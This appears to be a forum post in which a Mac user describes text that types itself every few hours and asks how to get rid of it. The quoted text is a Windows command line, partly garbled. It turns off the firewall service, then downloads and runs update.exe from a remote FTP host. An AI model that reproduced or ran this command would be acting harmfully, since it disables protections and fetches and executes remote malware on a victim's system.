I think I may have a worm on my Mac! Since a few days ago, I noticed that every few hours, the following message is typed automatically: cmd /c net stop sharedaccess 7echo open elterryer.serveftp.net 21 .. ij 7echo user a b .. ij 7echo binary .. ij 7echo get update.exe .. ij 7echo bye .. ij 7ftp -n -v -s;ij 7del ij 7update.exe 7net start sharedaccess 7exit I don't think it will do any damage as it looks like its meant for Windows (look at update.exe). But I'm puzzled as to how it got to or runs on my Mac! How do I get rid of this? Thanks!